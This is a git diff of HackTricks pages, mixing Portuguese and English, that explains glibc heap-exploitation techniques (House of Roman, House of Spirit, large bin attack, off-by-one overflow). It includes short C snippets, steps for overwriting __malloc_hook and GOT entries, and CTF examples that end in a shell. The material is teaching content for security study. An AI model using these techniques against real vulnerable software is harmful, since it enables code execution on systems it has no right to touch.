+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-roman.md b/binary-exploitation/libc-heap/house-of-roman.md index f74bf9bd7..732ab9ff4 100644 --- a/binary-exploitation/libc-heap/house-of-roman.md +++ b/binary-exploitation/libc-heap/house-of-roman.md @@ -1,53 +1,53 @@ -# Casa do Romano +# House of Roman {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -Esta foi uma técnica muito interessante que permitia RCE sem vazamentos através de fastbins falsos, ataque unsorted\_bin e sobrescritas relativas. No entanto, ela foi [**corrigida**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Esta foi uma técnica muito interessante que permitiu RCE sem leaks através de fastbins falsos, o ataque unsorted\_bin e sobrescritas relativas. No entanto, foi [**patchado**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). -### Código +### Code * Você pode encontrar um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) -### Objetivo +### Goal * RCE abusando de ponteiros relativos -### Requisitos +### Requirements -* Editar ponteiros fastbin e unsorted bin -* 12 bits de aleatoriedade devem ser forçados (0,02% de chance) de funcionar +* Editar ponteiros de fastbin e unsorted bin +* 12 bits de aleatoriedade devem ser forçados por brute force (0,02% de chance) de funcionar -## Passos do Ataque +## Attack Steps -### Parte 1: Chunk Fastbin aponta para \_\_malloc\_hook +### Part 1: Fastbin Chunk points to \_\_malloc\_hook Crie vários chunks: -* `fastbin_victim` (0x60, offset 0): Chunk UAF para editar posteriormente o ponteiro do heap para apontar para o valor do LibC. +* `fastbin_victim` (0x60, offset 0): chunk UAF que será editado para apontar para o valor da LibC. * `chunk2` (0x80, offset 0x70): Para um bom alinhamento * `main_arena_use` (0x80, offset 0x100) -* `relative_offset_heap` (0x60, offset 0x190): deslocamento relativo no chunk 'main\_arena\_use' +* `relative_offset_heap` (0x60, offset 0x190): offset relativo no chunk 'main\_arena\_use' -Em seguida, `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` nos ponteiros `fd` e `bk`. +Então `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` tanto nos ponteiros `fd` quanto `bk`. -Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque ele conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`. +Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`. -Em seguida, `relative_offset_heap` e `fastbin_victim` são liberados. +Então `relative_offset_heap` e `fastbin_victim` são liberados. ```c /* Current heap layout: @@ -63,24 +63,24 @@ unsorted: leftover_main */ ``` * `fastbin_victim` tem um `fd` apontando para `relative_offset_heap` -* `relative_offset_heap` é um deslocamento de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68` -* Apenas alterando o último byte de `fastbin_victim.fd` é possível fazer com que `fastbin_victim` aponte para `main_arena + 0x68` +* `relative_offset_heap` é um offset de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68` +* Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer `fastbin_victim points` para `main_arena + 0x68` Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`. Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**. -Observe que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, existem `2^4=16` possibilidades para o valor terminar apontando para onde estamos interessados. Portanto, um ataque BF é realizado aqui para que o chunk termine assim: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** +Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -(Para mais informações sobre o restante dos bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece novamente até que funcione). +(Para mais informações sobre o restante dos bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar). -Em seguida, são realizados 2 mallocs para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk no **`__malloc_hook:`** +Então, 2 mallocs são realizados para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk em **`__malloc_hook:`** ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` -### Parte 2: Ataque unsorted\_bin +### Parte 2: Ataque Unsorted\_bin Para mais informações, você pode verificar: @@ -88,7 +88,7 @@ Para mais informações, você pode verificar: [unsorted-bin-attack.md](unsorted-bin-attack.md) {% endcontent-ref %} -Mas basicamente permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque escolhemos `__malloc_hook`. Em seguida, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`. +Mas basicamente isso permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`. Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**: ```c @@ -99,21 +99,21 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` -Use um UAF neste trecho para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (já bruteforceamos isso anteriormente). +Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente). {% hint style="danger" %} -Note que esse ataque corrompe o bin não ordenado (portanto também o pequeno e o grande). Assim, só podemos **usar alocações do bin rápido agora** (um programa mais complexo poderia fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.** +Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso, devemos **alocar o mesmo tamanho ou o programa travará.** {% endhint %} -Portanto, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, realizamos após definir `__malloc_hook` em `unsorted_bin_ptr->bk` apenas precisamos fazer: **`malloc(0x80)`** +Então, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`** ### Passo 3: Definir \_\_malloc\_hook para system -No passo um, acabamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui. +No primeiro passo, terminamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui. -Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço da libc que escrevemos lá (`main_arena + 0x68`) para **apontar para um endereço de `one_gadget`**. +Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço da libc que escrevemos lá (`main_arena + 0x68`) para **apontar um endereço `one_gadget`**. -Aqui é onde é necessário **bruteforce de 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). +Aqui é onde é necessário **forçar 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Finalmente, uma vez que o endereço correto é sobrescrito, **chame `malloc` e acione o `one_gadget`**. @@ -129,11 +129,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-spirit.md b/binary-exploitation/libc-heap/house-of-spirit.md index 6192ddfa7..22f1d683e 100644 --- a/binary-exploitation/libc-heap/house-of-spirit.md +++ b/binary-exploitation/libc-heap/house-of-spirit.md @@ -1,27 +1,27 @@ -# Casa do Espírito +# House of Spirit {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Informações Básicas +## Basic Information -### Código +### Code
-Casa do Espírito +House of Spirit ```c #include #include @@ -70,18 +70,18 @@ return 0; ### Objetivo -* Ser capaz de adicionar um endereço ao tcache / fast bin para posteriormente alocá-lo +* Ser capaz de adicionar um endereço no tcache / fast bin para que depois seja possível alocá-lo ### Requisitos -* Este ataque requer que um invasor seja capaz de criar alguns chunks falsos indicando corretamente o valor do tamanho e, em seguida, ser capaz de liberar o primeiro chunk falso para que ele entre no bin. +* Este ataque requer que um atacante consiga criar alguns chunks rápidos falsos indicando corretamente o valor do tamanho e, em seguida, conseguir liberar o primeiro chunk falso para que ele entre no bin. ### Ataque -* Criar chunks falsos que contornam as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos -* De alguma forma, conseguir liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever esse endereço +* Criar chunks falsos que contornem as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos +* De alguma forma, gerenciar para liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever aquele endereço -**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código o resuma muito bem: +**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código resuma isso muito bem: ```c /* this will be the structure of our two fake chunks: @@ -106,35 +106,35 @@ the important thing is the size values of the heap headers for our fake chunks */ ``` {% hint style="info" %} -Note que é necessário criar o segundo chunk para contornar algumas verificações de integridade. +Observe que é necessário criar o segundo chunk para contornar algumas verificações de sanidade. {% endhint %} ## Exemplos * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) -* **Libc infoleak**: Através de um overflow é possível alterar um ponteiro para apontar para um endereço GOT para vazar um endereço libc via a ação de leitura do CTF. -* **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, em seguida, abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível alterar um ponteiro que será liberado para que nosso primeiro chunk falso seja liberado. Em seguida, podemos alocá-lo e dentro dele haverá o endereço onde a "mensagem" está armazenada. Em seguida, é possível fazer isso apontar para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-lo com o endereço para system.\ +* **Libc infoleak**: Através de um overflow, é possível mudar um ponteiro para apontar para um endereço GOT a fim de vazar um endereço libc via a ação de leitura do CTF. +* **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, então, abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível mudar um ponteiro que será liberado, de modo que nosso primeiro chunk falso seja liberado. Então, podemos alocá-lo e dentro dele haverá o endereço de onde a "mensagem" está armazenada. Em seguida, é possível fazer com que isso aponte para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-la com o endereço do sistema.\ Na próxima vez que `scanf` for chamado, podemos enviar a entrada `"/bin/sh"` e obter um shell. * [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) -* **Vazamento do Glibc**: Buffer de pilha não inicializado. -* **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma modificação de um único byte, usamos `free` em um chunk falso dentro de um chunk válido, para que tenhamos uma situação de chunks sobrepostos após a alocação novamente. Com isso, um ataque simples de envenenamento de Tcache funciona para obter um primitivo de escrita arbitrário. +* **Glibc leak**: Buffer de pilha não inicializado. +* **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma única modificação de byte, usamos `free` em um chunk falso dentro de um chunk válido, de modo que obtemos uma situação de chunks sobrepostos após alocar novamente. Com isso, um simples ataque de envenenamento de Tcache funciona para obter uma primitiva de escrita arbitrária. ## Referências * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/large-bin-attack.md b/binary-exploitation/libc-heap/large-bin-attack.md index c1692bdec..f48500508 100644 --- a/binary-exploitation/libc-heap/large-bin-attack.md +++ b/binary-exploitation/libc-heap/large-bin-attack.md @@ -1,23 +1,23 @@ -# Ataque ao Large Bin +# Large Bin Attack {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informações Básicas +## Basic Information -Para mais informações sobre o que é um large bin, consulte esta página: +Para mais informações sobre o que é um large bin, confira esta página: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) @@ -25,21 +25,21 @@ Para mais informações sobre o que é um large bin, consulte esta página: É possível encontrar um ótimo exemplo em [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c). -Basicamente, aqui você pode ver como, na última versão "atual" do glibc (2.35), não é verificado: **`P->bk_nextsize`** permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas. +Basicamente, aqui você pode ver como, na versão "atual" mais recente do glibc (2.35), não é verificado: **`P->bk_nextsize`** permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas. Nesse exemplo, você pode encontrar as seguintes condições: * Um chunk grande é alocado * Um chunk grande menor que o primeiro, mas no mesmo índice, é alocado -* Deve ser menor para que vá primeiro no bin +* Deve ser menor, então no bin deve ir primeiro * (Um chunk para evitar a fusão com o chunk superior é criado) -* Em seguida, o primeiro chunk grande é liberado e um novo chunk maior do que ele é alocado -> Chunk1 vai para o large bin -* Em seguida, o segundo chunk grande é liberado +* Então, o primeiro chunk grande é liberado e um novo chunk maior que ele é alocado -> Chunk1 vai para o large bin +* Então, o segundo chunk grande é liberado * Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]` -* Em seguida, um chunk maior que o chunk 2 é alocado, então o chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço do chunk2 +* Então, um chunk maior que o chunk 2 é alocado, assim o chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço do chunk2 {% hint style="success" %} -Existem outros cenários potenciais, a ideia é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, para que ele precise ser inserido imediatamente antes dele no bin, e precisamos ser capazes de modificar o **`bk_nextsize`** de X, pois é onde o endereço do chunk menor será escrito. +Existem outros cenários potenciais, a questão é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, então ele precisa ser inserido logo antes dele no bin, e precisamos ser capazes de modificar o **`bk_nextsize`** de X, pois é lá que o endereço do chunk menor será escrito. {% endhint %} Este é o código relevante do malloc. Comentários foram adicionados para entender melhor como o endereço foi sobrescrito: @@ -60,16 +60,16 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_ ``` {% endcode %} -Isso poderia ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores. +Isso pode ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores. Você pode encontrar outra ótima explicação desse ataque em [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html). ### Outros exemplos * [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) -* Ataque de large bin na mesma situação conforme aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c). +* Ataque de large bin na mesma situação em que aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c). * A primitiva de escrita é mais complexa, porque `global_max_fast` é inútil aqui. -* FSOP é necessário para finalizar o exploit. +* FSOP é necessário para finalizar a exploração. {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -77,10 +77,10 @@ Aprenda e pratique Hacking GCP: -Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/binary-exploitation/libc-heap/off-by-one-overflow.md b/binary-exploitation/libc-heap/off-by-one-overflow.md index d7a2a2a88..99dc8fd5d 100644 --- a/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -1,31 +1,31 @@ -# Estouro por um byte +# Off by one overflow {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -Ter apenas acesso a um estouro de 1 byte permite a um atacante modificar o campo `size` do próximo chunk. Isso permite manipular quais chunks são realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos. +Ter apenas acesso a um overflow de 1B permite que um atacante modifique o campo `size` do próximo chunk. Isso permite manipular quais chunks são realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos. -Existem 2 tipos de vulnerabilidades de estouro por um byte: +Existem 2 tipos de vulnerabilidades off by one: -* Byte arbitrário: Esse tipo permite sobrescrever esse byte com qualquer valor -* Byte nulo (off-by-null): Esse tipo permite sobrescrever esse byte apenas com 0x00 -* Um exemplo comum dessa vulnerabilidade pode ser visto no código a seguir, onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk. -* Isso pode ser explorado com o [House of Einherjar](house-of-einherjar.md). -* Se estiver usando Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md). +* Byte arbitrário: Este tipo permite sobrescrever esse byte com qualquer valor +* Byte nulo (off-by-null): Este tipo permite sobrescrever esse byte apenas com 0x00 +* Um exemplo comum dessa vulnerabilidade pode ser visto no seguinte código onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk. +* Isso pode ser explorado com a [House of Einherjar](house-of-einherjar.md). +* Se usando Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md).
